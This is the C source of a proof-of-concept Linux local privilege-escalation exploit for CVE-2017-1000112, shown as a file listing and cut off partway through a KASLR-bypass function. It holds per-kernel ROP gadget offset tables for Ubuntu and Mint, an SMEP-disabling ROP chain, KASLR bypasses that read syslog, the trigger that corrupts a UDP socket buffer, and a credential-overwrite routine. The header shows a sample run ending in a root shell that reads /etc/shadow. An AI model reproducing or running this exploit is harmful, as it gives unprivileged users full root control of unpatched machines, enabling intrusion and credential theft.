885 lines
28 KiB
C
885 lines
28 KiB
C
// A proof-of-concept local root exploit for CVE-2017-1000112.
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// Includes KASLR and SMEP bypasses. No SMAP bypass.
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// Tested on:
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// - Ubuntu trusty 4.4.0 kernels
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// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
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// - Linux Mint rosa 4.4.0 kernels
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// - Linux Mint sarah 4.8.0 kernels
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// - Zorin OS 12.1 4.4.0-39 kernel
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//
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// Usage:
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// user@ubuntu:~$ uname -a
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// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
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// user@ubuntu:~$ whoami
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// user
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// user@ubuntu:~$ id
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// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
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// user@ubuntu:~$ gcc pwn.c -o pwn
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// user@ubuntu:~$ ./pwn
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// [.] starting
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// [.] checking kernel version
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// [.] kernel version '4.8.0-58-generic' detected
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// [~] done, version looks good
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// [.] checking SMEP and SMAP
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// [~] done, looks good
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// [.] setting up namespace sandbox
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// [~] done, namespace sandbox set up
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// [.] KASLR bypass enabled, getting kernel addr
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// [~] done, kernel text: ffffffffae400000
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// [.] commit_creds: ffffffffae4a5d20
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// [.] prepare_kernel_cred: ffffffffae4a6110
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// [.] SMEP bypass enabled, mmapping fake stack
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// [~] done, fake stack mmapped
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// [.] executing payload ffffffffae40008d
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// [~] done, should be root now
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// [.] checking if we got root
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// [+] got r00t ^_^
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// root@ubuntu:/home/user# whoami
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// root
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// root@ubuntu:/home/user# id
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// uid=0(root) gid=0(root) groups=0(root)
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// root@ubuntu:/home/user# cat /etc/shadow
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// root:!:17246:0:99999:7:::
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// daemon:*:17212:0:99999:7:::
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// bin:*:17212:0:99999:7:::
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// sys:*:17212:0:99999:7:::
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// ...
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//
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// Andrey Konovalov <andreyknvl@gmail.com>
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// ---
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// Updated by <bcoles@gmail.com>
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// - support for distros based on Ubuntu kernel
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// - additional kernel targets
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// - additional KASLR bypasses
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// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112
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#define _GNU_SOURCE
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#include <fcntl.h>
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#include <sched.h>
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#include <stdarg.h>
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#include <stdbool.h>
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#include <stdint.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <linux/socket.h>
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#include <netinet/ip.h>
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#include <sys/klog.h>
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#include <sys/mman.h>
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#include <sys/utsname.h>
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#define DEBUG
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#ifdef DEBUG
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# define dprintf printf
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#else
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# define dprintf
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#endif
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#define ENABLE_KASLR_BYPASS 1
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#define ENABLE_SMEP_BYPASS 1
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char* SHELL = "/bin/bash";
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// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
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unsigned long KERNEL_BASE = 0xffffffff81000000ul;
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// Will be overwritten by detect_kernel().
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int kernel = -1;
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struct kernel_info {
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const char* distro;
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const char* version;
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uint64_t commit_creds;
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uint64_t prepare_kernel_cred;
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uint64_t xchg_eax_esp_ret;
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uint64_t pop_rdi_ret;
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uint64_t mov_dword_ptr_rdi_eax_ret;
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uint64_t mov_rax_cr4_ret;
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uint64_t neg_rax_ret;
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uint64_t pop_rcx_ret;
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uint64_t or_rax_rcx_ret;
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uint64_t xchg_eax_edi_ret;
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uint64_t mov_cr4_rdi_ret;
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uint64_t jmp_rcx;
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};
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struct kernel_info kernels[] = {
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{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
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{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
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{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
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{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
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{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
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{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
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{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
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{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
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{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
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{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
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{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
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{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
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{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
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{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
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{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
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{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
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{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
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{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
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// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
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{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
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{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
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};
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// Used to get root privileges.
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#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
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#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
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// Used when ENABLE_SMEP_BYPASS is used.
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// - xchg eax, esp ; ret
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// - pop rdi ; ret
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// - mov dword ptr [rdi], eax ; ret
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// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
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// - neg rax ; ret
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// - pop rcx ; ret
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// - or rax, rcx ; ret
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// - xchg eax, edi ; ret
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// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
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// - jmp rcx
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#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
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#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
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#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
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#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
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#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
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#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
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#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
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#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
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#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
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#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
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// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
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typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
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void get_root(void) {
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((_commit_creds)(COMMIT_CREDS))(
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((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
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}
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// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
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uint64_t saved_esp;
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// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
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// can be used to omit a function's prologue, so I had to use this weird
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// wrapper hack as a workaround. Note: Clang does support it, which means it
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// has better support of GCC attributes than GCC itself. Funny.
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void wrapper() {
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asm volatile (" \n\
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payload: \n\
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movq %%rbp, %%rax \n\
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movq $0xffffffff00000000, %%rdx \n\
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andq %%rdx, %%rax \n\
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movq %0, %%rdx \n\
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addq %%rdx, %%rax \n\
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movq %%rax, %%rsp \n\
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call get_root \n\
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ret \n\
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" : : "m"(saved_esp) : );
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}
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void payload();
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#define CHAIN_SAVE_ESP \
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*stack++ = POP_RDI_RET; \
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*stack++ = (uint64_t)&saved_esp; \
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*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
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#define SMEP_MASK 0x100000
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#define CHAIN_DISABLE_SMEP \
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*stack++ = MOV_RAX_CR4_RET; \
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*stack++ = NEG_RAX_RET; \
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*stack++ = POP_RCX_RET; \
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*stack++ = SMEP_MASK; \
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*stack++ = OR_RAX_RCX_RET; \
|
|
*stack++ = NEG_RAX_RET; \
|
|
*stack++ = XCHG_EAX_EDI_RET; \
|
|
*stack++ = MOV_CR4_RDI_RET;
|
|
|
|
#define CHAIN_JMP_PAYLOAD \
|
|
*stack++ = POP_RCX_RET; \
|
|
*stack++ = (uint64_t)&payload; \
|
|
*stack++ = JMP_RCX;
|
|
|
|
void mmap_stack() {
|
|
uint64_t stack_aligned, stack_addr;
|
|
int page_size, stack_size, stack_offset;
|
|
uint64_t* stack;
|
|
|
|
page_size = getpagesize();
|
|
|
|
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
|
stack_addr = stack_aligned - page_size * 4;
|
|
stack_size = page_size * 8;
|
|
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
|
|
|
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
|
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
|
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
|
dprintf("[-] mmap()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
|
|
|
CHAIN_SAVE_ESP;
|
|
CHAIN_DISABLE_SMEP;
|
|
CHAIN_JMP_PAYLOAD;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
|
|
|
struct ubuf_info {
|
|
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
|
uint64_t ctx; // void *
|
|
uint64_t desc; // unsigned long
|
|
};
|
|
|
|
struct skb_shared_info {
|
|
uint8_t nr_frags; // unsigned char
|
|
uint8_t tx_flags; // __u8
|
|
uint16_t gso_size; // unsigned short
|
|
uint16_t gso_segs; // unsigned short
|
|
uint16_t gso_type; // unsigned short
|
|
uint64_t frag_list; // struct sk_buff *
|
|
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
|
uint32_t tskey; // u32
|
|
uint32_t ip6_frag_id; // __be32
|
|
uint32_t dataref; // atomic_t
|
|
uint64_t destructor_arg; // void *
|
|
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
|
};
|
|
|
|
struct ubuf_info ui;
|
|
|
|
void init_skb_buffer(char* buffer, unsigned long func) {
|
|
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
|
memset(ssi, 0, sizeof(*ssi));
|
|
|
|
ssi->tx_flags = 0xff;
|
|
ssi->destructor_arg = (uint64_t)&ui;
|
|
ssi->nr_frags = 0;
|
|
ssi->frag_list = 0;
|
|
|
|
ui.callback = func;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
|
|
|
#define SHINFO_OFFSET 3164
|
|
|
|
void oob_execute(unsigned long payload) {
|
|
char buffer[4096];
|
|
memset(&buffer[0], 0x42, 4096);
|
|
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
|
|
|
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
|
if (s == -1) {
|
|
dprintf("[-] socket()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
struct sockaddr_in addr;
|
|
memset(&addr, 0, sizeof(addr));
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(8000);
|
|
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
|
|
|
if (connect(s, (void*)&addr, sizeof(addr))) {
|
|
dprintf("[-] connect()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
|
int rv = send(s, buffer, size, MSG_MORE);
|
|
if (rv != size) {
|
|
dprintf("[-] send()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
int val = 1;
|
|
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
|
if (rv != 0) {
|
|
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
send(s, buffer, 1, 0);
|
|
|
|
close(s);
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
|
|
|
#define CHUNK_SIZE 1024
|
|
|
|
int read_file(const char* file, char* buffer, int max_length) {
|
|
int f = open(file, O_RDONLY);
|
|
if (f == -1)
|
|
return -1;
|
|
int bytes_read = 0;
|
|
while (true) {
|
|
int bytes_to_read = CHUNK_SIZE;
|
|
if (bytes_to_read > max_length - bytes_read)
|
|
bytes_to_read = max_length - bytes_read;
|
|
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
|
if (rv == -1)
|
|
return -1;
|
|
bytes_read += rv;
|
|
if (rv == 0)
|
|
return bytes_read;
|
|
}
|
|
}
|
|
|
|
#define LSB_RELEASE_LENGTH 1024
|
|
|
|
void get_distro_codename(char* output, int max_length) {
|
|
char buffer[LSB_RELEASE_LENGTH];
|
|
char* path = "/etc/lsb-release";
|
|
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
|
if (length == -1) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
const char *needle = "DISTRIB_CODENAME=";
|
|
int needle_length = strlen(needle);
|
|
char* found = memmem(&buffer[0], length, needle, needle_length);
|
|
if (found == NULL) {
|
|
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
int i;
|
|
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
|
if (i >= max_length) {
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if ((found - &buffer[0]) + needle_length + i >= length) {
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
output[i] = found[needle_length + i];
|
|
}
|
|
}
|
|
|
|
struct utsname get_kernel_version() {
|
|
struct utsname u;
|
|
int rv = uname(&u);
|
|
if (rv != 0) {
|
|
dprintf("[-] uname()\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
return u;
|
|
}
|
|
|
|
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
|
|
|
#define DISTRO_CODENAME_LENGTH 32
|
|
|
|
void detect_kernel() {
|
|
char codename[DISTRO_CODENAME_LENGTH];
|
|
struct utsname u;
|
|
|
|
u = get_kernel_version();
|
|
|
|
if (strstr(u.machine, "64") == NULL) {
|
|
dprintf("[-] system is not using a 64-bit kernel\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (strstr(u.version, "-Ubuntu") == NULL) {
|
|
dprintf("[-] system is not using an Ubuntu kernel\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
if (strstr(u.version, "14.04.1")) {
|
|
strcpy(&codename[0], "trusty");
|
|
} else if (strstr(u.version, "16.04.1")) {
|
|
strcpy(&codename[0], "xenial");
|
|
} else {
|
|
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
|
|
|
// Linux Mint kernel release mappings
|
|
if (!strcmp(&codename[0], "qiana"))
|
|
strcpy(&codename[0], "trusty");
|
|
if (!strcmp(&codename[0], "rebecca"))
|
|
strcpy(&codename[0], "trusty");
|
|
if (!strcmp(&codename[0], "rafaela"))
|
|
strcpy(&codename[0], "trusty");
|
|
if (!strcmp(&codename[0], "rosa"))
|
|
strcpy(&codename[0], "trusty");
|
|
if (!strcmp(&codename[0], "sarah"))
|
|
strcpy(&codename[0], "xenial");
|
|
if (!strcmp(&codename[0], "serena"))
|
|
strcpy(&codename[0], "xenial");
|
|
if (!strcmp(&codename[0], "sonya"))
|
|
strcpy(&codename[0], "xenial");
|
|
}
|
|
|
|
int i;
|
|
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
|
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
|
strcmp(u.release, kernels[i].version) == 0) {
|
|
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
|
kernel = i;
|
|
return;
|
|
}
|
|
}
|
|
|
|
dprintf("[-] kernel version not recognized\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
#define PROC_CPUINFO_LENGTH 4096
|
|
|
|
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
|
int smap_smep_enabled() {
|
|
char buffer[PROC_CPUINFO_LENGTH];
|
|
char* path = "/proc/cpuinfo";
|
|
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
|
if (length == -1) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
int rv = 0;
|
|
char* found = memmem(&buffer[0], length, "smep", 4);
|
|
if (found != NULL)
|
|
rv += 1;
|
|
found = memmem(&buffer[0], length, "smap", 4);
|
|
if (found != NULL)
|
|
rv += 2;
|
|
return rv;
|
|
}
|
|
|
|
void check_smep_smap() {
|
|
int rv = smap_smep_enabled();
|
|
if (rv >= 2) {
|
|
dprintf("[-] SMAP detected, no bypass available\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#if !ENABLE_SMEP_BYPASS
|
|
if (rv >= 1) {
|
|
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#endif
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
#define SYSLOG_ACTION_READ_ALL 3
|
|
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
|
|
|
bool mmap_syslog(char** buffer, int* size) {
|
|
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
|
if (*size == -1) {
|
|
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
|
return false;
|
|
}
|
|
|
|
*size = (*size / getpagesize() + 1) * getpagesize();
|
|
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
|
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
|
|
|
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
|
if (*size == -1) {
|
|
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
|
const char* needle1 = "Freeing unused";
|
|
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
|
if (substr == NULL) return 0;
|
|
|
|
int start = 0;
|
|
int end = 0;
|
|
for (end = start; substr[end] != '-'; end++);
|
|
|
|
const char* needle2 = "ffffff";
|
|
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
|
if (substr == NULL) return 0;
|
|
|
|
char* endptr = &substr[16];
|
|
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
|
|
|
r &= 0xffffffffff000000ul;
|
|
|
|
return r;
|
|
}
|
|
|
|
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
|
const char* needle1 = "Freeing unused";
|
|
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
|
if (substr == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
int start = 0;
|
|
int end = 0;
|
|
for (start = 0; substr[start] != '-'; start++);
|
|
for (end = start; substr[end] != '\n'; end++);
|
|
|
|
const char* needle2 = "ffffff";
|
|
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
|
if (substr == NULL) {
|
|
return 0;
|
|
}
|
|
|
|
char* endptr = &substr[16];
|
|
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
|
|
|
r &= 0xfffffffffff00000ul;
|
|
r -= 0x1000000ul;
|
|
|
|
return r;
|
|
}
|
|
|
|
unsigned long get_kernel_addr_syslog() {
|
|
unsigned long addr = 0;
|
|
char* syslog;
|
|
int size;
|
|
|
|
dprintf("[.] trying syslog...\n");
|
|
|
|
if (!mmap_syslog(&syslog, &size))
|
|
return 0;
|
|
|
|
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
|
addr = get_kernel_addr_trusty(syslog, size);
|
|
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
|
addr = get_kernel_addr_xenial(syslog, size);
|
|
|
|
if (!addr)
|
|
dprintf("[-] kernel base not found in syslog\n");
|
|
|
|
return addr;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr_kallsyms() {
|
|
FILE *f;
|
|
unsigned long addr = 0;
|
|
char dummy;
|
|
char sname[256];
|
|
